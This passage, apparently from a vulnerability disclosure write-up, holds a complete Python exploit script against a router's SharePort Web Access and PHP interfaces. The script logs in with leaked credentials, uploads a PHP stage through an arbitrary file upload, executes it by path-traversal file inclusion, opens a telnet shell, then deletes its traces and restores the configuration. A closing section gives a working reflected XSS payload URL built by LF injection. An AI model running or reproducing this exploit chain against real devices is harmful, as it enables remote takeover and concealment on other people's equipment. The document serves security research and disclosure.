datas = new_webaccess_config
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
return 0
# If the uplaod was successful, then we activate the new configuration.
new_url = f"{self.url}/pigwidgeon.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
return 0
print("\t"+f"[*] SharePort Web Access configuration updated.")
return 1
# This function allows authentication within the application
# SharePort Web Access by solving the challenge response system.
# The authentication cookie is saved for future use.
def solve_challenge_response(self):
# First we retrieve the challenge information (uid, challenge).
new_url = f"{self.url}/dws/api/Login"
if new_url[0:5] == "https":
new_url = new_url.replace(self.port, self.httpsport)
elif new_url[0:4] == "http":
new_url = new_url.replace(self.port, self.httpport)
else:
print(new_url[0:6])
return 0
r = requests.get(url=new_url, allow_redirects=False, verify=False)
if r.status_code != 200:
return 0
json_reponse = {"status": "nok"}
try:
json_reponse = json.loads(r.text)
except:
return 0
if json_reponse["status"] == "nok":
return 0
self.cookie = f"uid={json_reponse['uid']}"
challenge = json_reponse["challenge"]
# The challenge response is then calculated.
user_name = self.username.lower()
user_pwd = self.password
digest = hmac.new(user_pwd.encode(), user_name.encode()+challenge.encode(), "md5").hexdigest()
# Then we send the response.
headers = {
"Cookie": self.cookie,
"Content-Type": "application/x-www-form-urlencoded"
}
para =f"id={user_name}&password={digest}"
r = requests.post(url=new_url, headers=headers, data=para, allow_redirects=False, verify=False)
if r.status_code != 200:
return 0
json_reponse = {"status": "nok"}
try:
json_reponse = json.loads(r.text)
except:
return 0
if json_reponse["status"] == "nok":
return 0
return 1
# This function attempts to upload our stage 0 to a
# storage using an Arbitrary File Upload reachable
# only by authenticated users. Luckily, previously we
# were able to leak credentials.
def upload_stage_0(self):
new_url = f"{self.url}/dws/api/UploadFile?1".replace(self.port, "8181")
for i in range(len(self.storages)):
self.storage = self.storages[i]
volid = ""
if i != 0:
volid += f"{i}"
headers = {
"Cookie": self.cookie
}
datas = {
"storage": self.storage,
"id": "",
"tok": "",
"volid": volid,
"path": "%2F",
"filename": STAGE_0
}
files = {
"file": (STAGE_0, open(STAGE_0, "rb"), "text/php")
}
r = requests.post(url=new_url, headers=headers, files=files, data=datas, allow_redirects=False, verify=False)
if r.status_code == 200:
try:
json_reponse = json.loads(r.text)
if json_reponse["status"] == "ok":
return 1
except:
pass
return 0
# This function allows to exploit a PHP File Include vulnerability
# except that the included file must be of extension ".xml.php".
def execute_stage_0(self):
new_url = f"{self.url}/getcfg.php"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = f"SERVICES={'../'*DEPTH}var/tmp/storage/{self.storage}/stage_0"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("DONE") == -1:
return 0
return 1
class Check:
def __init__(self, ip, port, url, session, storage, webaccess_state):
self.ip = ip
self.port = port
self.url = url
self.session = session
self.storage = storage
self.webaccess_config_updated = webaccess_state[0]
self.webaccess_config = webaccess_state[1]
# There we check if we can connect to the port on which
# the telnetd service is supposed to listen.
if not self.connect():
print("\t"+f"[x] Can't connect to port: {self.port}")
print("\t"+"[x] Exploit failed.")
exit(-1)
# There we will delete the only trace left by the exploit,
# our stage 0.
self.clean()
print("\t"+"[*] Stage 0 deleted.")
self.tn.close()
# There we restore the original SharePort Web Access configuration.
if self.webaccess_config_updated:
if not self.restore_shareport():
print("\t"+f"[x] Failed to restore SharePort Web Access configuration.")
print("\t"+f"[*] SharePort Web Access configuration restored.")
print("\t"+"[+] Exploit succeed.")
# This function just tries to make a TCP connection on port TELNETD_PORT.
def connect(self):
try:
self.tn = telnetlib.Telnet(self.ip, self.port)
return 1
except:
return 0
# This function cleans up the traces of the exploit by removing the stage 0.
def clean(self):
self.tn.read_until(b"login: ")
cmd = CREDENTIALS["login"].encode()
self.tn.write(cmd + b"\n")
self.tn.read_until(b"Password: ")
cmd = CREDENTIALS["password"].encode()
self.tn.write(cmd + b"\n")
self.tn.read_until(b"# ")
cmd = f"rm /var/tmp/storage/{self.storage}/{STAGE_0}".encode()
self.tn.write(cmd + b"\n")
# This function restore the SharePort Web Access configuration as
# it was before the exploit.
def restore_shareport(self):
print("\t"+f"[*] Restoring SharePort Web Access configuration ...")
new_url = f"{self.url}/hedwig.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "text/xml"
}
datas = self.webaccess_config
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
return 0
new_url = f"{self.url}/pigwidgeon.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("<result>OK</result>") == -1:
return 0
return 1
def main(options):
print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
recon = Recon(options['ip'], options['port'])
print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
attack = Attack(recon.ip, recon.port, recon.url)
print(f"[*] Starting check on {attack.ip}:{TELNETD_PORT} using credentials {CREDENTIALS['login']}/{CREDENTIALS['password']} in 5s ...")
time.sleep(5)
check = Check(attack.ip, TELNETD_PORT, attack.url, attack.session, attack.storage, [attack.webaccess_config_updated, attack.webaccess_config])
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("ip", help="Target's IP.")
parser.add_argument("port", help="Target's port.")
args = parser.parse_args()
options = {}
if args.ip and args.port:
options["ip"] = args.ip
options["port"] = args.port
else:
parser.print_help()
exit(-1)
main(options)
Bonus
During the audit, other vulnerabilities have been identified, only, those were not useful to the exploit, so, I decided to present them in a separately part.
Reflected XSS
Using the LF injection technique, it is possible to redefine the variables:
$AUTHORIZED_GROUP
$_POST["ACTION"]
$_SERVER["HTTP_REFERER"]
And therefore control the variable $referer
and a part of the variable
$message
in the file
/htdocs/webinc/js/tools_fw_rlt.php.
File: /htdocs/webinc/js/tools_fw_rlt.php
<script type="text/javascript">
function Page() {}
Page.prototype =
{
services: null,
OnLoad: function()
{
<?
include "/htdocs/phplib/trace.php";
$referer = $_SERVER["HTTP_REFERER"];
$t = 0;
if ($_GET["PELOTA_ACTION"]=="fwupdate")
...
}
else if ($_POST["ACTION"]=="langupdate")
{
TRACE_debug("ACTION=".$_POST["ACTION"]);
TRACE_debug("FILE=".$_FILES["sealpac"]);
TRACE_debug("FILETYPES=".$_FILETYPES["sealpac"]);
$slp = "/var/sealpac/sealpac.slp";
$title = i18n("Update Language Pack");
if ($_FILES["sealpac"]=="")
{
$title = i18n("Language Pack Upload Fail");
$message = "'".i18n("The language pack image is invalid.")."', ".
"'<a href=\"".$referer."\">".i18n("Click here to return to the previous page.")."</a>'";
}
...
echo "\t\tvar msgArray = [".$message."];\n";
...
The variable $message
is printed in the body of the server response via the
call to the function echo()
, when trying to reach route:
- /tools_fw_rlt.php?junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_ACTION%3dlangupdate%0a_SERVER_HTTP_REFERER%3d’];alert(1);var%20msgArray%20=%20[’